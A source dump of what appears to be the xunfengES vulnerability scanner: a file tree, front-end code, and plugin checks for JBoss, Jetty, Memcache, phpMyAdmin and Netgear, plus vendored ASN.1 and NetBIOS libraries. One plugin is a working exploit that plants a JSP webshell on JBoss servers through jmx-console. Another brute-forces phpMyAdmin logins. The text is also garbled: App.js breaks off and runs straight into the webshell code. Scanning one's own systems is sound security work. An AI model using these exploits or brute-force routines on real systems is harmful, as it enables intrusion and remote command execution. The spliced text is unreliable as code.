├── .gitignore
├── LICENSE
├── README.md
├── app
├── App.js
├── components
│ ├── AssetsTask.js
│ ├── UploadPlugins.js
│ ├── VulTask.js
│ ├── scantask
│ │ ├── CreateTask.js
│ │ ├── PeriodTask.js
│ │ └── TaskTips.js
│ └── vultask
│ │ ├── CreateTask.js
│ │ ├── SearchAssets.js
│ │ ├── ShowResult.js
│ │ └── TaskTips.js
└── index.js
├── celerynode
├── Config.py
├── __init__.py
├── api.py
├── cidr.py
├── common.py
├── redispool.py
├── subscribe.py
├── tasks.py
└── vuldb
│ ├── Confluence_CVE20158399.json
│ ├── Docker_Remote_API_20161220120458.json
│ ├── ElasticSearch_unauth.json
│ ├── MS10-070.py
│ ├── MS15-034.py
│ ├── MS17_010.py
│ ├── activemq_upload.py
│ ├── axis_config_read.py
│ ├── axis_info.json
│ ├── crack_axis.py
│ ├── crack_cisco_web.py
│ ├── crack_ftp.py
│ ├── crack_glassfish.py
│ ├── crack_grafana.py
│ ├── crack_jboss.py
│ ├── crack_jboss_new.py
│ ├── crack_mongo.py
│ ├── crack_mssql.py
│ ├── crack_mysql.py
│ ├── crack_postgres.py
│ ├── crack_redis.py
│ ├── crack_resin.py
│ ├── crack_ruijie_ac_web.py
│ ├── crack_smb.py
│ ├── crack_ssh.py
│ ├── crack_weblogic.py
│ ├── fastcgi_rce.py
│ ├── git_index_disclosure.json
│ ├── glassfish_filread.json
│ ├── heartbleed_poc.py
│ ├── hikvision_crackpass.py
│ ├── iis_shortfile.py
│ ├── iis_webdav.py
│ ├── iis_webdav_rce.py
│ ├── java_rmi_rce.py
│ ├── jboss_head.py
│ ├── jboss_info.json
│ ├── jboss_rce_un.py
│ ├── jenkins_CVE_2015_8103.py
│ ├── jenkins_CVE_2017_1000353.py
│ ├── jenkins_unauth.json
│ ├── jetty_refer.py
│ ├── memcache_unauth.py
│ ├── netgear_passwd.json
│ ├── nmb
│ ├── NetBIOS.py
│ ├── NetBIOSProtocol.py
│ ├── __init__.py
│ ├── base.py
│ ├── nmb_constants.py
│ ├── nmb_structs.py
│ └── utils.py
│ ├── phpmyadmin_crackpass.py
│ ├── pyasn1
│ ├── __init__.py
│ ├── codec
│ │ ├── __init__.py
│ │ ├── ber
│ │ │ ├── __init__.py
│ │ │ ├── decoder.py
│ │ │ ├── encoder.py
│ │ │ └── eoo.py
│ │ ├── cer
│ │ │ ├── __init__.py
│ │ │ ├── decoder.py
│ │ │ └── encoder.py
│ │ └── der
│ │ │ ├── __init__.py
│ │ │ ├── decoder.py
│ │ │ └── encoder.py
│ ├── compat
│ │ ├── __init__.py
│ │ ├── binary.py
│ │ └── octets.py
│ ├── debug.py
│ ├── error.py
│ └── type
│ │ ├── __init__.py
│ │ ├── base.py
│ │ ├── char.py
│ │ ├── constraint.py
│ │ ├── error.py
│ │ ├── namedtype.py
│ │ ├── namedval.py
│ │ ├── tag.py
│ │ ├── tagmap.py
│ │ ├── univ.py
│ │ └── useful.py
│ ├── resin_fileread.json
│ ├── resin_fileread_1.json
│ ├── resin_fileread_3.json
│ ├── rsync_weak_auth.py
│ ├── shiro_550.py
│ ├── smb
│ ├── SMBConnection.py
│ ├── SMBHandler.py
│ ├── SMBProtocol.py
│ ├── __init__.py
│ ├── base.py
│ ├── ntlm.py
│ ├── securityblob.py
│ ├── smb2_constants.py
│ ├── smb2_structs.py
│ ├── smb_constants.py
│ ├── smb_structs.py
│ └── utils
│ │ ├── U32.py
│ │ ├── __init__.py
│ │ ├── md4.py
│ │ ├── pyDes.py
│ │ └── sha256.py
│ ├── st2_eval.py
│ ├── svn_entries_disclosure.json
│ ├── tomcat_crackpass.py
│ ├── web_fileread.py
│ ├── web_shellshock.py
│ ├── weblogic_CVE_2015_4852.py
│ ├── websphere_CVE_2015_7450.py
│ ├── wordpress_crackpass.py
│ ├── zabbix_jsrpc_SQL.json
│ ├── zabbix_latest_sql.py
│ └── zookeeper_unauth_access.py
├── package.json
├── server
├── Config.py
├── Index.py
├── Routes.py
├── __init__.py
├── common.py
├── es.py
├── esinit.py
├── lib
│ ├── Login.py
│ └── __init__.py
├── monitor
│ ├── index.py
│ └── verify.py
├── redispool.py
├── run.py
├── static
│ ├── css
│ │ ├── bootstrap.min.css
│ │ └── index.css
│ ├── fonts
│ │ ├── glyphicons-halflings-regular.eot
│ │ ├── glyphicons-halflings-regular.svg
│ │ ├── glyphicons-halflings-regular.ttf
│ │ └── glyphicons-halflings-regular.woff
│ ├── images
│ │ └── wind.jpeg
│ └── js
│ │ ├── bundle-login.js
│ │ ├── common.js
│ │ └── index.js
├── templates
│ ├── error.html
│ ├── index.html
│ └── login.html
└── vulscan
│ ├── __init__.py
│ ├── vulScan.py
│ └── vuldb
│ ├── Confluence_CVE20158399.json
│ ├── Docker_Remote_API_20161220120458.json
│ ├── ElasticSearch_unauth.json
│ ├── MS10-070.py
│ ├── MS15-034.py
│ ├── MS17_010.py
│ ├── __init__.py
│ ├── activemq_upload.py
│ ├── axis_config_read.py
│ ├── axis_info.json
│ ├── crack_axis.py
│ ├── crack_cisco_web.py
│ ├── crack_ftp.py
│ ├── crack_glassfish.py
│ ├── crack_grafana.py
│ ├── crack_jboss.py
│ ├── crack_jboss_new.py
│ ├── crack_mongo.py
│ ├── crack_mssql.py
│ ├── crack_mysql.py
│ ├── crack_postgres.py
│ ├── crack_redis.py
│ ├── crack_resin.py
│ ├── crack_ruijie_ac_web.py
│ ├── crack_smb.py
│ ├── crack_ssh.py
│ ├── crack_weblogic.py
│ ├── fastcgi_rce.py
│ ├── git_index_disclosure.json
│ ├── glassfish_filread.json
│ ├── heartbleed_poc.py
│ ├── hikvision_crackpass.py
│ ├── iis_shortfile.py
│ ├── iis_webdav.py
│ ├── iis_webdav_rce.py
│ ├── java_rmi_rce.py
│ ├── jboss_head.py
│ ├── jboss_info.json
│ ├── jboss_rce_un.py
│ ├── jenkins_CVE_2015_8103.py
│ ├── jenkins_CVE_2017_1000353.py
│ ├── jenkins_unauth.json
│ ├── jetty_refer.py
│ ├── memcache_unauth.py
│ ├── netgear_passwd.json
│ ├── nmb
│ ├── NetBIOS.py
│ ├── NetBIOSProtocol.py
│ ├── __init__.py
│ ├── base.py
│ ├── nmb_constants.py
│ ├── nmb_structs.py
│ └── utils.py
│ ├── phpmyadmin_crackpass.py
│ ├── pyasn1
│ ├── __init__.py
│ ├── codec
│ │ ├── __init__.py
│ │ ├── ber
│ │ │ ├── __init__.py
│ │ │ ├── decoder.py
│ │ │ ├── encoder.py
│ │ │ └── eoo.py
│ │ ├── cer
│ │ │ ├── __init__.py
│ │ │ ├── decoder.py
│ │ │ └── encoder.py
│ │ └── der
│ │ │ ├── __init__.py
│ │ │ ├── decoder.py
│ │ │ └── encoder.py
│ ├── compat
│ │ ├── __init__.py
│ │ ├── binary.py
│ │ └── octets.py
│ ├── debug.py
│ ├── error.py
│ └── type
│ │ ├── __init__.py
│ │ ├── base.py
│ │ ├── char.py
│ │ ├── constraint.py
│ │ ├── error.py
│ │ ├── namedtype.py
│ │ ├── namedval.py
│ │ ├── tag.py
│ │ ├── tagmap.py
│ │ ├── univ.py
│ │ └── useful.py
│ ├── resin_fileread.json
│ ├── resin_fileread_1.json
│ ├── resin_fileread_3.json
│ ├── rsync_weak_auth.py
│ ├── shiro_550.py
│ ├── smb
│ ├── SMBConnection.py
│ ├── SMBHandler.py
│ ├── SMBProtocol.py
│ ├── __init__.py
│ ├── base.py
│ ├── ntlm.py
│ ├── securityblob.py
│ ├── smb2_constants.py
│ ├── smb2_structs.py
│ ├── smb_constants.py
│ ├── smb_structs.py
│ └── utils
│ │ ├── U32.py
│ │ ├── __init__.py
│ │ ├── md4.py
│ │ ├── pyDes.py
│ │ └── sha256.py
│ ├── st2_eval.py
│ ├── svn_entries_disclosure.json
│ ├── tomcat_crackpass.py
│ ├── web_fileread.py
│ ├── web_shellshock.py
│ ├── weblogic_CVE_2015_4852.py
│ ├── websphere_CVE_2015_7450.py
│ ├── wordpress_crackpass.py
│ ├── zabbix_jsrpc_SQL.json
│ ├── zabbix_latest_sql.py
│ └── zookeeper_unauth_access.py
└── webpack.config.js
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | env/
12 | build/
13 | develop-eggs/
14 | dist/
15 | downloads/
16 | eggs/
17 | .eggs/
18 |
19 | lib64/
20 | parts/
21 | sdist/
22 | var/
23 | wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 |
49 | # Translations
50 | *.mo
51 | *.pot
52 |
53 | # Django stuff:
54 | *.log
55 | local_settings.py
56 |
57 | # Flask stuff:
58 | instance/
59 | .webassets-cache
60 |
61 | # Scrapy stuff:
62 | .scrapy
63 |
64 | # Sphinx documentation
65 | docs/_build/
66 |
67 | # PyBuilder
68 | target/
69 |
70 | # Jupyter Notebook
71 | .ipynb_checkpoints
72 |
73 | # pyenv
74 | .python-version
75 |
76 | # celery beat schedule file
77 | celerybeat-schedule
78 |
79 | # SageMath parsed files
80 | *.sage.py
81 |
82 | # dotenv
83 | .env
84 |
85 | # virtualenv
86 | .venv
87 | venv/
88 | ENV/
89 |
90 | # Spyder project settings
91 | .spyderproject
92 | .spyproject
93 |
94 | # Rope project settings
95 | .ropeproject
96 |
97 | # mkdocs documentation
98 | /site
99 |
100 | # mypy
101 | .mypy_cache/
102 | node_modules/
103 | test/
104 |
--------------------------------------------------------------------------------
/app/App.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import { Layout, Menu, Icon, notification } from 'antd';
3 | const { Content, Header, Footer } = Layout;
4 | import { Link } from 'react-router';
5 | import axios from 'axios';
6 |
7 | import UploadPlugins from './components/UploadPlugins';
8 |
9 | class App extends React.Component{
10 |
11 | handleClick = (e) => {
12 | if(e.key == 5){
13 | axios.post('/loginOut')
14 | .then(function(res){
15 | notification.open({
16 | message: '注销成功',
17 | icon:
<% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + """" 36 | # s1.recv(1024) 37 | shellcode = "" 38 | name = random_str(5) 39 | for v in shell: 40 | shellcode += hex(ord(v)).replace("0x", "%") 41 | flag = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=" + \ 42 | "java.lang.String&arg0=%s.war&argType=java.lang.String&arg1=xunfeng&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=" % ( 43 | name) + shellcode + \ 44 | "&argType=boolean&arg4=True HTTP/1.0\r\n\r\n" 45 | s1.send(flag) 46 | data = s1.recv(512) 47 | s1.close() 48 | time.sleep(10) 49 | url = "http://%s:%d" % (host, int(port)) 50 | webshell_url = "%s/%s/xunfeng.jsp" % (url, name) 51 | res = urllib2.urlopen(webshell_url, timeout=timeout) 52 | if 'comments' in res.read(): 53 | info = u"Jboss Authentication bypass webshell:%s" % (webshell_url) 54 | return info 55 | except Exception, e: 56 | pass 57 | -------------------------------------------------------------------------------- /celerynode/vuldb/jboss_info.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : "信息泄露", 3 | "name" : "Jboss信息泄露", 4 | "level" : "低危", 5 | "type" : "信息泄露", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:jboss", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/status?full=true", 12 | "tag" : "存在信息泄露漏洞", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "Max processing time", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /celerynode/vuldb/jenkins_unauth.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "Jenkins代码执行", 3 | "info" : "Jenkins未授权访问,攻击者可利用此漏洞执行系统命令", 4 | "level" : "紧急", 5 | "type" : "代码执行", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:jenkins", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/", 12 | "tag" : "Jenkins /Script 代码执行", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "task-link", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /celerynode/vuldb/jetty_refer.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import socket 3 | 4 | 5 | def get_plugin_info(): 6 | plugin_info = { 7 | "name": "Jetty 共享缓存区远程泄露", 8 | "info": "攻击者可利用此漏洞获取其他用户的请求信息,进而获取其权限", 9 | "level": "中危", 10 | "type": "信息泄露", 11 | "author": "wolf@YSRC", 12 | "url": "https://www.secpulse.com/archives/4911.html", 13 | "keyword": "tag:jetty", 14 | "source": 1 15 | } 16 | return plugin_info 17 | 18 | 19 | def check(ip, port, timeout): 20 | try: 21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | s.settimeout(timeout) 23 | s.connect((ip, int(port))) 24 | flag = "GET / HTTP/1.1\r\nReferer:%s\r\n\r\n" % (chr(0) * 15) 25 | s.send(flag) 26 | data = s.recv(512) 27 | s.close() 28 | if 'state=HEADER_VALUE' in data and '400' in data: 29 | return u"jetty 共享缓存区远程泄露漏洞" 30 | except: 31 | pass 32 | -------------------------------------------------------------------------------- /celerynode/vuldb/memcache_unauth.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import socket 3 | 4 | 5 | def get_plugin_info(): 6 | plugin_info = { 7 | "name": "Memcache未授权访问", 8 | "info": "导致数据库敏感信息泄露。", 9 | "level": "中危", 10 | "type": "未授权访问", 11 | "author": "wolf@YSRC", 12 | "url": "", 13 | "keyword": "server:memcache", 14 | "source": 1 15 | } 16 | return plugin_info 17 | 18 | 19 | def check(ip, port, timeout): 20 | try: 21 | socket.setdefaulttimeout(timeout) 22 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | s.connect((ip, int(port))) 24 | s.send("stats\r\n") 25 | result = s.recv(1024) 26 | if "STAT version" in result: 27 | return u"未授权访问" 28 | except Exception, e: 29 | pass 30 | -------------------------------------------------------------------------------- /celerynode/vuldb/netgear_passwd.json: -------------------------------------------------------------------------------- 1 | {"info": "NETGEAR\u8def\u7531\u5668\u591a\u4e2a\u7cfb\u5217\u5b58\u5728\u5bc6\u7801\u6cc4\u9732\u6f0f\u6d1e\uff08CVE-2017-5521\uff09", "source": 1, "name": "Netgear\u5bc6\u7801\u6cc4\u9732", "keyword": "banner:NETGEAR", "level": "\u9ad8\u5371", "url": "https://www.seebug.org/vuldb/ssvid-92639", "author": "wolf@YSRC", "type": "\u4fe1\u606f\u6cc4\u9732", "plugin": {"url": "/passwordrecovered.cgi?id=get_rekt", "tag": "\u6f0f\u6d1eURL\uff1a/passwordrecovered.cgi?id=get_rekt", "analyzing": "keyword", "analyzingdata": "class=\"MNUText\" align=\"left\">", "data": "", "method": "GET"}} -------------------------------------------------------------------------------- /celerynode/vuldb/nmb/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/superhuahua/xunfengES/427ec1d56b602e6eebe24c51502a23628e5ca5e8/celerynode/vuldb/nmb/__init__.py -------------------------------------------------------------------------------- /celerynode/vuldb/nmb/nmb_constants.py: -------------------------------------------------------------------------------- 1 | 2 | # Default port for NetBIOS name service 3 | NETBIOS_NS_PORT = 137 4 | 5 | # Default port for NetBIOS session service 6 | NETBIOS_SESSION_PORT = 139 7 | 8 | # Owner Node Type Constants 9 | NODE_B = 0x00 10 | NODE_P = 0x01 11 | NODE_M = 0x10 12 | NODE_RESERVED = 0x11 13 | 14 | # Name Type Constants 15 | TYPE_UNKNOWN = 0x01 16 | TYPE_WORKSTATION = 0x00 17 | TYPE_CLIENT = 0x03 18 | TYPE_SERVER = 0x20 19 | TYPE_DOMAIN_MASTER = 0x1B 20 | TYPE_MASTER_BROWSER = 0x1D 21 | TYPE_BROWSER = 0x1E 22 | 23 | TYPE_NAMES = { TYPE_UNKNOWN: 'Unknown', 24 | TYPE_WORKSTATION: 'Workstation', 25 | TYPE_CLIENT: 'Client', 26 | TYPE_SERVER: 'Server', 27 | TYPE_MASTER_BROWSER: 'Master Browser', 28 | TYPE_BROWSER: 'Browser Server', 29 | TYPE_DOMAIN_MASTER: 'Domain Master' 30 | } 31 | 32 | # Values for Session Packet Type field in Session Packets 33 | SESSION_MESSAGE = 0x00 34 | SESSION_REQUEST = 0x81 35 | POSITIVE_SESSION_RESPONSE = 0x82 36 | NEGATIVE_SESSION_RESPONSE = 0x83 37 | REGTARGET_SESSION_RESPONSE = 0x84 38 | SESSION_KEEPALIVE = 0x85 39 | -------------------------------------------------------------------------------- /celerynode/vuldb/nmb/nmb_structs.py: -------------------------------------------------------------------------------- 1 | 2 | import struct 3 | 4 | class NMBError(Exception): pass 5 | 6 | 7 | class NotConnectedError(NMBError): 8 | """ 9 | Raisd when the underlying NMB connection has been disconnected or not connected yet 10 | """ 11 | pass 12 | 13 | 14 | class NMBSessionMessage: 15 | 16 | HEADER_STRUCT_FORMAT = '>BBH' 17 | HEADER_STRUCT_SIZE = struct.calcsize(HEADER_STRUCT_FORMAT) 18 | 19 | def __init__(self): 20 | self.reset() 21 | 22 | def reset(self): 23 | self.type = 0 24 | self.flags = 0 25 | self.data = '' 26 | 27 | def decode(self, data, offset): 28 | data_len = len(data) 29 | 30 | if data_len < offset + self.HEADER_STRUCT_SIZE: 31 | # Not enough data for decoding 32 | return 0 33 | 34 | self.reset() 35 | self.type, self.flags, length = struct.unpack(self.HEADER_STRUCT_FORMAT, data[offset:offset+self.HEADER_STRUCT_SIZE]) 36 | 37 | if self.flags & 0x01: 38 | length |= 0x010000 39 | 40 | if data_len < offset + self.HEADER_STRUCT_SIZE + length: 41 | return 0 42 | 43 | self.data = data[offset+self.HEADER_STRUCT_SIZE:offset+self.HEADER_STRUCT_SIZE+length] 44 | return self.HEADER_STRUCT_SIZE + length 45 | 46 | 47 | class DirectTCPSessionMessage(NMBSessionMessage): 48 | 49 | HEADER_STRUCT_FORMAT = '>I' 50 | HEADER_STRUCT_SIZE = struct.calcsize(HEADER_STRUCT_FORMAT) 51 | 52 | def decode(self, data, offset): 53 | data_len = len(data) 54 | 55 | if data_len < offset + self.HEADER_STRUCT_SIZE: 56 | # Not enough data for decoding 57 | return 0 58 | 59 | self.reset() 60 | length = struct.unpack(self.HEADER_STRUCT_FORMAT, data[offset:offset+self.HEADER_STRUCT_SIZE])[0] 61 | 62 | if length >> 24 != 0: 63 | raise NMBError("Invalid protocol header for Direct TCP session message") 64 | 65 | if data_len < offset + self.HEADER_STRUCT_SIZE + length: 66 | return 0 67 | 68 | self.data = data[offset+self.HEADER_STRUCT_SIZE:offset+self.HEADER_STRUCT_SIZE+length] 69 | return self.HEADER_STRUCT_SIZE + length 70 | -------------------------------------------------------------------------------- /celerynode/vuldb/nmb/utils.py: -------------------------------------------------------------------------------- 1 | 2 | import string, re 3 | 4 | 5 | def encode_name(name, type, scope = None): 6 | """ 7 | Perform first and second level encoding of name as specified in RFC 1001 (Section 4) 8 | """ 9 | if name == '*': 10 | name = name + '\0' * 15 11 | elif len(name) > 15: 12 | name = name[:15] + chr(type) 13 | else: 14 | name = string.ljust(name, 15) + chr(type) 15 | 16 | def _do_first_level_encoding(m): 17 | s = ord(m.group(0)) 18 | return string.uppercase[s >> 4] + string.uppercase[s & 0x0f] 19 | 20 | encoded_name = chr(len(name) * 2) + re.sub('.', _do_first_level_encoding, name) 21 | if scope: 22 | encoded_scope = '' 23 | for s in string.split(scope, '.'): 24 | encoded_scope = encoded_scope + chr(len(s)) + s 25 | return encoded_name + encoded_scope + '\0' 26 | else: 27 | return encoded_name + '\0' 28 | 29 | 30 | def decode_name(name): 31 | name_length = ord(name[0]) 32 | assert name_length == 32 33 | 34 | def _do_first_level_decoding(m): 35 | s = m.group(0) 36 | return chr(((ord(s[0]) - ord('A')) << 4) | (ord(s[1]) - ord('A'))) 37 | 38 | decoded_name = re.sub('..', _do_first_level_decoding, name[1:33]) 39 | if name[33] == '\0': 40 | return 34, decoded_name, '' 41 | else: 42 | decoded_domain = '' 43 | offset = 34 44 | while 1: 45 | domain_length = ord(name[offset]) 46 | if domain_length == 0: 47 | break 48 | decoded_domain = '.' + name[offset:offset + domain_length] 49 | offset = offset + domain_length 50 | return offset + 1, decoded_name, decoded_domain 51 | -------------------------------------------------------------------------------- /celerynode/vuldb/phpmyadmin_crackpass.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import urllib2 3 | import re 4 | 5 | def get_plugin_info(): 6 | plugin_info = { 7 | "name": "phpMyAdmin弱口令", 8 | "info": "导致数据库敏感信息泄露,严重可导致服务器被入侵控制。", 9 | "level": "高危", 10 | "type": "弱口令", 11 | "author": "wolf@YSRC", 12 | "url": "", 13 | "keyword": "tag:phpmyadmin", 14 | "source": 1 15 | } 16 | return plugin_info 17 | 18 | 19 | def check(ip, port, timeout): 20 | flag_list = ['src="navigation.php', 'frameborder="0" id="frame_content"', 'id="li_server_type">', 21 | 'class="disableAjax" title='] 22 | user_list = ['root', 'mysql', 'www', 'bbs', 'wwwroot', 'bak', 'backup'] 23 | error_i = 0 24 | try: 25 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port), timeout=timeout).read() 26 | if 'input_password' in res_html and 'name="token"' in res_html: 27 | url = 'http://' + ip + ":" + str(port) + "/index.php" 28 | else: 29 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port) + "/phpmyadmin", timeout=timeout).read() 30 | if 'input_password' in res_html and 'name="token"' in res_html: 31 | url = 'http://' + ip + ":" + str(port) + "/phpmyadmin/index.php" 32 | else: 33 | return 34 | except: 35 | pass 36 | for user in user_list: 37 | for password in PASSWORD_DIC: 38 | try: 39 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 40 | res_html = opener.open(url, timeout=timeout).read() 41 | token = re.search('name="token" value="(.*?)" />', res_html) 42 | token_hash = urllib2.quote(token.group(1)) 43 | postdata = "pma_username=%s&pma_password=%s&server=1&target=index.php&lang=zh_CN&collation_connection=utf8_general_ci&token=%s" % ( 44 | user, password, token_hash) 45 | res = opener.open(url,postdata, timeout=timeout) 46 | res_html = res.read() 47 | for flag in flag_list: 48 | if flag in res_html: 49 | return u'phpmyadmin弱口令,账号:%s 密码:%s' % (user, password) 50 | except urllib2.URLError, e: 51 | error_i += 1 52 | if error_i >= 3: return 53 | except Exception,e: 54 | return -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/__init__.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | # http://www.python.org/dev/peps/pep-0396/ 4 | __version__ = '0.1.9' 5 | 6 | if sys.version_info[:2] < (2, 4): 7 | raise RuntimeError('PyASN1 requires Python 2.4 or later') 8 | 9 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/ber/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/ber/eoo.py: -------------------------------------------------------------------------------- 1 | from pyasn1.type import base, tag 2 | 3 | class EndOfOctets(base.AbstractSimpleAsn1Item): 4 | defaultValue = 0 5 | tagSet = tag.initTagSet( 6 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 0x00) 7 | ) 8 | endOfOctets = EndOfOctets() 9 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/cer/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/cer/decoder.py: -------------------------------------------------------------------------------- 1 | # CER decoder 2 | from pyasn1.type import univ 3 | from pyasn1.codec.ber import decoder 4 | from pyasn1.compat.octets import oct2int 5 | from pyasn1 import error 6 | 7 | class BooleanDecoder(decoder.AbstractSimpleDecoder): 8 | protoComponent = univ.Boolean(0) 9 | def valueDecoder(self, fullSubstrate, substrate, asn1Spec, tagSet, length, 10 | state, decodeFun, substrateFun): 11 | head, tail = substrate[:length], substrate[length:] 12 | if not head or length != 1: 13 | raise error.PyAsn1Error('Not single-octet Boolean payload') 14 | byte = oct2int(head[0]) 15 | # CER/DER specifies encoding of TRUE as 0xFF and FALSE as 0x0, while 16 | # BER allows any non-zero value as TRUE; cf. sections 8.2.2. and 11.1 17 | # in http://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf 18 | if byte == 0xff: 19 | value = 1 20 | elif byte == 0x00: 21 | value = 0 22 | else: 23 | raise error.PyAsn1Error('Unexpected Boolean payload: %s' % byte) 24 | return self._createComponent(asn1Spec, tagSet, value), tail 25 | 26 | tagMap = decoder.tagMap.copy() 27 | tagMap.update({ 28 | univ.Boolean.tagSet: BooleanDecoder() 29 | }) 30 | 31 | typeMap = decoder.typeMap 32 | 33 | class Decoder(decoder.Decoder): pass 34 | 35 | decode = Decoder(tagMap, decoder.typeMap) 36 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/der/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/der/decoder.py: -------------------------------------------------------------------------------- 1 | # DER decoder 2 | from pyasn1.codec.cer import decoder 3 | 4 | tagMap = decoder.tagMap 5 | typeMap = decoder.typeMap 6 | class Decoder(decoder.Decoder): 7 | supportIndefLength = False 8 | 9 | decode = Decoder(tagMap, typeMap) 10 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/codec/der/encoder.py: -------------------------------------------------------------------------------- 1 | # DER encoder 2 | from pyasn1.type import univ 3 | from pyasn1.codec.cer import encoder 4 | from pyasn1 import error 5 | 6 | class SetOfEncoder(encoder.SetOfEncoder): 7 | def _cmpSetComponents(self, c1, c2): 8 | tagSet1 = isinstance(c1, univ.Choice) and \ 9 | c1.getEffectiveTagSet() or c1.getTagSet() 10 | tagSet2 = isinstance(c2, univ.Choice) and \ 11 | c2.getEffectiveTagSet() or c2.getTagSet() 12 | return cmp(tagSet1, tagSet2) 13 | 14 | tagMap = encoder.tagMap.copy() 15 | tagMap.update({ 16 | # Overload CER encoders with BER ones (a bit hackerish XXX) 17 | univ.BitString.tagSet: encoder.encoder.BitStringEncoder(), 18 | univ.OctetString.tagSet: encoder.encoder.OctetStringEncoder(), 19 | # Set & SetOf have same tags 20 | univ.SetOf().tagSet: SetOfEncoder() 21 | }) 22 | 23 | typeMap = encoder.typeMap 24 | 25 | class Encoder(encoder.Encoder): 26 | supportIndefLength = False 27 | def __call__(self, client, defMode=True, maxChunkSize=0): 28 | if not defMode: 29 | raise error.PyAsn1Error('DER forbids indefinite length mode') 30 | return encoder.Encoder.__call__(self, client, defMode, maxChunkSize) 31 | 32 | encode = Encoder(tagMap, typeMap) 33 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/compat/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/compat/binary.py: -------------------------------------------------------------------------------- 1 | from sys import version_info 2 | 3 | if version_info[0:2] < (2, 6): 4 | def bin(x): 5 | if x <= 1: 6 | return '0b'+str(x) 7 | else: 8 | return bin(x>>1) + str(x&1) 9 | else: 10 | bin = bin 11 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/compat/octets.py: -------------------------------------------------------------------------------- 1 | from sys import version_info 2 | 3 | if version_info[0] <= 2: 4 | int2oct = chr 5 | ints2octs = lambda s: ''.join([ int2oct(x) for x in s ]) 6 | null = '' 7 | oct2int = ord 8 | octs2ints = lambda s: [ oct2int(x) for x in s ] 9 | str2octs = lambda x: x 10 | octs2str = lambda x: x 11 | isOctetsType = lambda s: isinstance(s, str) 12 | isStringType = lambda s: isinstance(s, (str, unicode)) 13 | else: 14 | ints2octs = bytes 15 | int2oct = lambda x: ints2octs((x,)) 16 | null = ints2octs() 17 | oct2int = lambda x: x 18 | octs2ints = lambda s: [ x for x in s ] 19 | str2octs = lambda x: x.encode() 20 | octs2str = lambda x: x.decode() 21 | isOctetsType = lambda s: isinstance(s, bytes) 22 | isStringType = lambda s: isinstance(s, str) 23 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/error.py: -------------------------------------------------------------------------------- 1 | class PyAsn1Error(Exception): pass 2 | class ValueConstraintError(PyAsn1Error): pass 3 | class SubstrateUnderrunError(PyAsn1Error): pass 4 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/type/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/type/char.py: -------------------------------------------------------------------------------- 1 | # ASN.1 "character string" types 2 | from pyasn1.type import univ, tag 3 | 4 | class NumericString(univ.OctetString): 5 | tagSet = univ.OctetString.tagSet.tagImplicitly( 6 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 18) 7 | ) 8 | 9 | class PrintableString(univ.OctetString): 10 | tagSet = 